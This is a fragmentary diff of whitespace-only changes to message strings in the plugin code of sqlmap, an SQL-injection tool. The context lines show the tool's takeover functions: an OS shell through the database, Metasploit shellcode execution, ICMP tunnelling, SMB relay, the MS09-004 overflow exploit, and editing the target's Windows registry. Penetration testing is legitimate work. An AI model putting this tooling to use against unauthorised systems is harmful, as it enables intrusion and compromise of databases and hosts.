if conf.direct or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED):
|
if conf.direct or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED):
|
||||||
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED):
|
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED):
|
||||||
debugMsg = "going to read the file with stacked query SQL "
|
debugMsg = "going to read the file with stacked query SQL "
|
||||||
debugMsg += "injection technique"
|
debugMsg += "injection technique"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
@ -312,7 +312,7 @@ class Filesystem:
|
||||||
|
|
||||||
if conf.direct or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED):
|
if conf.direct or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED):
|
||||||
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED):
|
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED):
|
||||||
debugMsg = "going to upload the %s file with " % fileType
|
debugMsg = "going to upload the %s file with " % fileType
|
||||||
debugMsg += "stacked query SQL injection technique"
|
debugMsg += "stacked query SQL injection technique"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
|
|
@ -23,17 +23,17 @@ class Fingerprint:
|
||||||
Backend.forceDbms(dbms)
|
Backend.forceDbms(dbms)
|
||||||
|
|
||||||
def getFingerprint(self):
|
def getFingerprint(self):
|
||||||
errMsg = "'getFingerprint' method must be defined "
|
errMsg = "'getFingerprint' method must be defined "
|
||||||
errMsg += "into the specific DBMS plugin"
|
errMsg += "into the specific DBMS plugin"
|
||||||
raise sqlmapUndefinedMethod, errMsg
|
raise sqlmapUndefinedMethod, errMsg
|
||||||
|
|
||||||
def checkDbms(self):
|
def checkDbms(self):
|
||||||
errMsg = "'checkDbms' method must be defined "
|
errMsg = "'checkDbms' method must be defined "
|
||||||
errMsg += "into the specific DBMS plugin"
|
errMsg += "into the specific DBMS plugin"
|
||||||
raise sqlmapUndefinedMethod, errMsg
|
raise sqlmapUndefinedMethod, errMsg
|
||||||
|
|
||||||
def checkDbmsOs(self, detailed=False):
|
def checkDbmsOs(self, detailed=False):
|
||||||
errMsg = "'checkDbmsOs' method must be defined "
|
errMsg = "'checkDbmsOs' method must be defined "
|
||||||
errMsg += "into the specific DBMS plugin"
|
errMsg += "into the specific DBMS plugin"
|
||||||
raise sqlmapUndefinedMethod, errMsg
|
raise sqlmapUndefinedMethod, errMsg
|
||||||
|
|
||||||
|
|
|
@ -130,13 +130,13 @@ class Miscellaneous:
|
||||||
|
|
||||||
for udf, inpRet in udfDict.items():
|
for udf, inpRet in udfDict.items():
|
||||||
message = "do you want to remove UDF '%s'? [Y/n] " % udf
|
message = "do you want to remove UDF '%s'? [Y/n] " % udf
|
||||||
output = readInput(message, default="Y")
|
output = readInput(message, default="Y")
|
||||||
|
|
||||||
if not output or output in ("y", "Y"):
|
if not output or output in ("y", "Y"):
|
||||||
dropStr = "DROP FUNCTION %s" % udf
|
dropStr = "DROP FUNCTION %s" % udf
|
||||||
|
|
||||||
if Backend.getIdentifiedDbms() == DBMS.PGSQL:
|
if Backend.getIdentifiedDbms() == DBMS.PGSQL:
|
||||||
inp = ", ".join(i for i in inpRet["input"])
|
inp = ", ".join(i for i in inpRet["input"])
|
||||||
dropStr += "(%s)" % inp
|
dropStr += "(%s)" % inp
|
||||||
|
|
||||||
logger.debug("removing UDF '%s'" % udf)
|
logger.debug("removing UDF '%s'" % udf)
|
||||||
|
|
|
@ -19,12 +19,12 @@ class Syntax:
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def unescape(expression, quote=True):
|
def unescape(expression, quote=True):
|
||||||
errMsg = "'unescape' method must be defined "
|
errMsg = "'unescape' method must be defined "
|
||||||
errMsg += "into the specific DBMS plugin"
|
errMsg += "into the specific DBMS plugin"
|
||||||
raise sqlmapUndefinedMethod, errMsg
|
raise sqlmapUndefinedMethod, errMsg
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def escape(expression):
|
def escape(expression):
|
||||||
errMsg = "'escape' method must be defined "
|
errMsg = "'escape' method must be defined "
|
||||||
errMsg += "into the specific DBMS plugin"
|
errMsg += "into the specific DBMS plugin"
|
||||||
raise sqlmapUndefinedMethod, errMsg
|
raise sqlmapUndefinedMethod, errMsg
|
||||||
|
|
|
@ -52,7 +52,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
|
||||||
|
|
||||||
web = True
|
web = True
|
||||||
else:
|
else:
|
||||||
errMsg = "unable to execute operating system commands via "
|
errMsg = "unable to execute operating system commands via "
|
||||||
errMsg += "the back-end DBMS"
|
errMsg += "the back-end DBMS"
|
||||||
raise sqlmapNotVulnerableException(errMsg)
|
raise sqlmapNotVulnerableException(errMsg)
|
||||||
|
|
||||||
|
@ -73,7 +73,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
|
||||||
|
|
||||||
web = True
|
web = True
|
||||||
else:
|
else:
|
||||||
errMsg = "unable to prompt for an interactive operating "
|
errMsg = "unable to prompt for an interactive operating "
|
||||||
errMsg += "system shell via the back-end DBMS because "
|
errMsg += "system shell via the back-end DBMS because "
|
||||||
errMsg += "stacked queries SQL injection is not supported"
|
errMsg += "stacked queries SQL injection is not supported"
|
||||||
raise sqlmapNotVulnerableException(errMsg)
|
raise sqlmapNotVulnerableException(errMsg)
|
||||||
|
@ -91,7 +91,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
|
||||||
|
|
||||||
self.checkDbmsOs()
|
self.checkDbmsOs()
|
||||||
|
|
||||||
msg = "how do you want to establish the tunnel?"
|
msg = "how do you want to establish the tunnel?"
|
||||||
msg += "\n[1] TCP: Metasploit Framework (default)"
|
msg += "\n[1] TCP: Metasploit Framework (default)"
|
||||||
|
|
||||||
if Backend.isOs(OS.WINDOWS):
|
if Backend.isOs(OS.WINDOWS):
|
||||||
|
@ -129,7 +129,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
|
||||||
isAdmin = runningAsAdmin()
|
isAdmin = runningAsAdmin()
|
||||||
|
|
||||||
if isAdmin is not True:
|
if isAdmin is not True:
|
||||||
errMsg = "you need to run sqlmap as an administrator "
|
errMsg = "you need to run sqlmap as an administrator "
|
||||||
errMsg += "if you want to establish an out-of-band ICMP "
|
errMsg += "if you want to establish an out-of-band ICMP "
|
||||||
errMsg += "tunnel because icmpsh uses raw sockets to "
|
errMsg += "tunnel because icmpsh uses raw sockets to "
|
||||||
errMsg += "sniff and craft ICMP packets"
|
errMsg += "sniff and craft ICMP packets"
|
||||||
|
@ -139,7 +139,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
|
||||||
from impacket import ImpactDecoder
|
from impacket import ImpactDecoder
|
||||||
from impacket import ImpactPacket
|
from impacket import ImpactPacket
|
||||||
except ImportError, _:
|
except ImportError, _:
|
||||||
errMsg = "sqlmap requires 'impacket' third-party library "
|
errMsg = "sqlmap requires 'impacket' third-party library "
|
||||||
errMsg += "in order to run icmpsh master. Download from "
|
errMsg += "in order to run icmpsh master. Download from "
|
||||||
errMsg += "http://oss.coresecurity.com/projects/impacket.html"
|
errMsg += "http://oss.coresecurity.com/projects/impacket.html"
|
||||||
raise sqlmapMissingDependence, errMsg
|
raise sqlmapMissingDependence, errMsg
|
||||||
|
@ -170,7 +170,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
|
||||||
|
|
||||||
if tunnel == 1:
|
if tunnel == 1:
|
||||||
if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
|
if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
|
||||||
msg = "how do you want to execute the Metasploit shellcode "
|
msg = "how do you want to execute the Metasploit shellcode "
|
||||||
msg += "on the back-end database underlying operating system?"
|
msg += "on the back-end database underlying operating system?"
|
||||||
msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)"
|
msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)"
|
||||||
msg += "\n[2] Via shellcodeexec (file system way)"
|
msg += "\n[2] Via shellcodeexec (file system way)"
|
||||||
|
@ -202,7 +202,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
|
||||||
|
|
||||||
if Backend.isOs(OS.WINDOWS) and conf.privEsc:
|
if Backend.isOs(OS.WINDOWS) and conf.privEsc:
|
||||||
if Backend.getIdentifiedDbms() == DBMS.MYSQL:
|
if Backend.getIdentifiedDbms() == DBMS.MYSQL:
|
||||||
debugMsg = "by default MySQL on Windows runs as SYSTEM "
|
debugMsg = "by default MySQL on Windows runs as SYSTEM "
|
||||||
debugMsg += "user, no need to privilege escalate"
|
debugMsg += "user, no need to privilege escalate"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
@ -211,7 +211,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
|
||||||
# system is not Windows
|
# system is not Windows
|
||||||
conf.privEsc = False
|
conf.privEsc = False
|
||||||
|
|
||||||
warnMsg = "sqlmap does not implement any operating system "
|
warnMsg = "sqlmap does not implement any operating system "
|
||||||
warnMsg += "user privilege escalation technique when the "
|
warnMsg += "user privilege escalation technique when the "
|
||||||
warnMsg += "back-end DBMS underlying system is not Windows"
|
warnMsg += "back-end DBMS underlying system is not Windows"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
@ -233,7 +233,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
|
||||||
# system is not Windows
|
# system is not Windows
|
||||||
conf.privEsc = False
|
conf.privEsc = False
|
||||||
|
|
||||||
warnMsg = "sqlmap does not implement any operating system "
|
warnMsg = "sqlmap does not implement any operating system "
|
||||||
warnMsg += "user privilege escalation technique when the "
|
warnMsg += "user privilege escalation technique when the "
|
||||||
warnMsg += "back-end DBMS underlying system is not Windows"
|
warnMsg += "back-end DBMS underlying system is not Windows"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
@ -262,26 +262,26 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
|
||||||
self.checkDbmsOs()
|
self.checkDbmsOs()
|
||||||
|
|
||||||
if not Backend.isOs(OS.WINDOWS):
|
if not Backend.isOs(OS.WINDOWS):
|
||||||
errMsg = "the back-end DBMS underlying operating system is "
|
errMsg = "the back-end DBMS underlying operating system is "
|
||||||
errMsg += "not Windows: it is not possible to perform the SMB "
|
errMsg += "not Windows: it is not possible to perform the SMB "
|
||||||
errMsg += "relay attack"
|
errMsg += "relay attack"
|
||||||
raise sqlmapUnsupportedDBMSException(errMsg)
|
raise sqlmapUnsupportedDBMSException(errMsg)
|
||||||
|
|
||||||
if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct:
|
if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct:
|
||||||
if Backend.getIdentifiedDbms() in ( DBMS.PGSQL, DBMS.MSSQL ):
|
if Backend.getIdentifiedDbms() in ( DBMS.PGSQL, DBMS.MSSQL ):
|
||||||
errMsg = "on this back-end DBMS it is only possible to "
|
errMsg = "on this back-end DBMS it is only possible to "
|
||||||
errMsg += "perform the SMB relay attack if stacked "
|
errMsg += "perform the SMB relay attack if stacked "
|
||||||
errMsg += "queries are supported"
|
errMsg += "queries are supported"
|
||||||
raise sqlmapUnsupportedDBMSException(errMsg)
|
raise sqlmapUnsupportedDBMSException(errMsg)
|
||||||
|
|
||||||
elif Backend.getIdentifiedDbms() == DBMS.MYSQL:
|
elif Backend.getIdentifiedDbms() == DBMS.MYSQL:
|
||||||
debugMsg = "since stacked queries are not supported, "
|
debugMsg = "since stacked queries are not supported, "
|
||||||
debugMsg += "sqlmap is going to perform the SMB relay "
|
debugMsg += "sqlmap is going to perform the SMB relay "
|
||||||
debugMsg += "attack via inference blind SQL injection"
|
debugMsg += "attack via inference blind SQL injection"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
printWarn = True
|
printWarn = True
|
||||||
warnMsg = "it is unlikely that this attack will be successful "
|
warnMsg = "it is unlikely that this attack will be successful "
|
||||||
|
|
||||||
if Backend.getIdentifiedDbms() == DBMS.MYSQL:
|
if Backend.getIdentifiedDbms() == DBMS.MYSQL:
|
||||||
warnMsg += "because by default MySQL on Windows runs as "
|
warnMsg += "because by default MySQL on Windows runs as "
|
||||||
|
@ -313,13 +313,13 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
|
||||||
return
|
return
|
||||||
|
|
||||||
if not Backend.getIdentifiedDbms() == DBMS.MSSQL or not Backend.isVersionWithin(("2000", "2005")):
|
if not Backend.getIdentifiedDbms() == DBMS.MSSQL or not Backend.isVersionWithin(("2000", "2005")):
|
||||||
errMsg = "the back-end DBMS must be Microsoft SQL Server "
|
errMsg = "the back-end DBMS must be Microsoft SQL Server "
|
||||||
errMsg += "2000 or 2005 to be able to exploit the heap-based "
|
errMsg += "2000 or 2005 to be able to exploit the heap-based "
|
||||||
errMsg += "buffer overflow in the 'sp_replwritetovarbin' "
|
errMsg += "buffer overflow in the 'sp_replwritetovarbin' "
|
||||||
errMsg += "stored procedure (MS09-004)"
|
errMsg += "stored procedure (MS09-004)"
|
||||||
raise sqlmapUnsupportedDBMSException(errMsg)
|
raise sqlmapUnsupportedDBMSException(errMsg)
|
||||||
|
|
||||||
infoMsg = "going to exploit the Microsoft SQL Server %s " % Backend.getVersion()
|
infoMsg = "going to exploit the Microsoft SQL Server %s " % Backend.getVersion()
|
||||||
infoMsg += "'sp_replwritetovarbin' stored procedure heap-based "
|
infoMsg += "'sp_replwritetovarbin' stored procedure heap-based "
|
||||||
infoMsg += "buffer overflow (MS09-004)"
|
infoMsg += "buffer overflow (MS09-004)"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
@ -330,7 +330,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
|
||||||
self.bof()
|
self.bof()
|
||||||
|
|
||||||
def uncPathRequest(self):
|
def uncPathRequest(self):
|
||||||
errMsg = "'uncPathRequest' method must be defined "
|
errMsg = "'uncPathRequest' method must be defined "
|
||||||
errMsg += "into the specific DBMS plugin"
|
errMsg += "into the specific DBMS plugin"
|
||||||
raise sqlmapUndefinedMethod, errMsg
|
raise sqlmapUndefinedMethod, errMsg
|
||||||
|
|
||||||
|
@ -341,7 +341,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
|
||||||
self.checkDbmsOs()
|
self.checkDbmsOs()
|
||||||
|
|
||||||
if not Backend.isOs(OS.WINDOWS):
|
if not Backend.isOs(OS.WINDOWS):
|
||||||
errMsg = "the back-end DBMS underlying operating system is "
|
errMsg = "the back-end DBMS underlying operating system is "
|
||||||
errMsg += "not Windows"
|
errMsg += "not Windows"
|
||||||
raise sqlmapUnsupportedDBMSException(errMsg)
|
raise sqlmapUnsupportedDBMSException(errMsg)
|
||||||
|
|
||||||
|
@ -353,15 +353,15 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
|
||||||
|
|
||||||
if not conf.regKey:
|
if not conf.regKey:
|
||||||
default = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion"
|
default = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion"
|
||||||
msg = "which registry key do you want to read? [%s] " % default
|
msg = "which registry key do you want to read? [%s] " % default
|
||||||
regKey = readInput(msg, default=default)
|
regKey = readInput(msg, default=default)
|
||||||
else:
|
else:
|
||||||
regKey = conf.regKey
|
regKey = conf.regKey
|
||||||
|
|
||||||
if not conf.regVal:
|
if not conf.regVal:
|
||||||
default = "ProductName"
|
default = "ProductName"
|
||||||
msg = "which registry key value do you want to read? [%s] " % default
|
msg = "which registry key value do you want to read? [%s] " % default
|
||||||
regVal = readInput(msg, default=default)
|
regVal = readInput(msg, default=default)
|
||||||
else:
|
else:
|
||||||
regVal = conf.regVal
|
regVal = conf.regVal
|
||||||
|
|
||||||
|
@ -376,7 +376,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
|
||||||
errMsg = "missing mandatory option"
|
errMsg = "missing mandatory option"
|
||||||
|
|
||||||
if not conf.regKey:
|
if not conf.regKey:
|
||||||
msg = "which registry key do you want to write? "
|
msg = "which registry key do you want to write? "
|
||||||
regKey = readInput(msg)
|
regKey = readInput(msg)
|
||||||
|
|
||||||
if not regKey:
|
if not regKey:
|
||||||
|
@ -385,7 +385,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
|
||||||
regKey = conf.regKey
|
regKey = conf.regKey
|
||||||
|
|
||||||
if not conf.regVal:
|
if not conf.regVal:
|
||||||
msg = "which registry key value do you want to write? "
|
msg = "which registry key value do you want to write? "
|
||||||
regVal = readInput(msg)
|
regVal = readInput(msg)
|
||||||
|
|
||||||
if not regVal:
|
if not regVal:
|
||||||
|
@ -394,7 +394,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
|
||||||
regVal = conf.regVal
|
regVal = conf.regVal
|
||||||
|
|
||||||
if not conf.regData:
|
if not conf.regData:
|
||||||
msg = "which registry key value data do you want to write? "
|
msg = "which registry key value data do you want to write? "
|
||||||
regData = readInput(msg)
|
regData = readInput(msg)
|
||||||
|
|
||||||
if not regData:
|
if not regData:
|
||||||
|
@ -404,13 +404,13 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
|
||||||
|
|
||||||
if not conf.regType:
|
if not conf.regType:
|
||||||
default = "REG_SZ"
|
default = "REG_SZ"
|
||||||
msg = "which registry key value data-type is it? "
|
msg = "which registry key value data-type is it? "
|
||||||
msg += "[%s] " % default
|
msg += "[%s] " % default
|
||||||
regType = readInput(msg, default=default)
|
regType = readInput(msg, default=default)
|
||||||
else:
|
else:
|
||||||
regType = conf.regType
|
regType = conf.regType
|
||||||
|
|
||||||
infoMsg = "adding Windows registry path '%s\%s' " % (regKey, regVal)
|
infoMsg = "adding Windows registry path '%s\%s' " % (regKey, regVal)
|
||||||
infoMsg += "with data '%s'. " % regData
|
infoMsg += "with data '%s'. " % regData
|
||||||
infoMsg += "This will work only if the user running the database "
|
infoMsg += "This will work only if the user running the database "
|
||||||
infoMsg += "process has privileges to modify the Windows registry."
|
infoMsg += "process has privileges to modify the Windows registry."
|
||||||
|
@ -424,7 +424,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
|
||||||
errMsg = "missing mandatory option"
|
errMsg = "missing mandatory option"
|
||||||
|
|
||||||
if not conf.regKey:
|
if not conf.regKey:
|
||||||
msg = "which registry key do you want to delete? "
|
msg = "which registry key do you want to delete? "
|
||||||
regKey = readInput(msg)
|
regKey = readInput(msg)
|
||||||
|
|
||||||
if not regKey:
|
if not regKey:
|
||||||
|
@ -433,7 +433,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
|
||||||
regKey = conf.regKey
|
regKey = conf.regKey
|
||||||
|
|
||||||
if not conf.regVal:
|
if not conf.regVal:
|
||||||
msg = "which registry key value do you want to delete? "
|
msg = "which registry key value do you want to delete? "
|
||||||
regVal = readInput(msg)
|
regVal = readInput(msg)
|
||||||
|
|
||||||
if not regVal:
|
if not regVal:
|
||||||
|
@ -441,14 +441,14 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
|
||||||
else:
|
else:
|
||||||
regVal = conf.regVal
|
regVal = conf.regVal
|
||||||
|
|
||||||
message = "are you sure that you want to delete the Windows "
|
message = "are you sure that you want to delete the Windows "
|
||||||
message += "registry path '%s\%s? [y/N] " % (regKey, regVal)
|
message += "registry path '%s\%s? [y/N] " % (regKey, regVal)
|
||||||
output = readInput(message, default="N")
|
output = readInput(message, default="N")
|
||||||
|
|
||||||
if output and output[0] not in ( "Y", "y" ):
|
if output and output[0] not in ( "Y", "y" ):
|
||||||
return
|
return
|
||||||
|
|
||||||
infoMsg = "deleting Windows registry path '%s\%s'. " % (regKey, regVal)
|
infoMsg = "deleting Windows registry path '%s\%s'. " % (regKey, regVal)
|
||||||
infoMsg += "This will work only if the user running the database "
|
infoMsg += "This will work only if the user running the database "
|
||||||
infoMsg += "process has privileges to modify the Windows registry."
|
infoMsg += "process has privileges to modify the Windows registry."
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
Loading…
Reference in New Issue
Block a user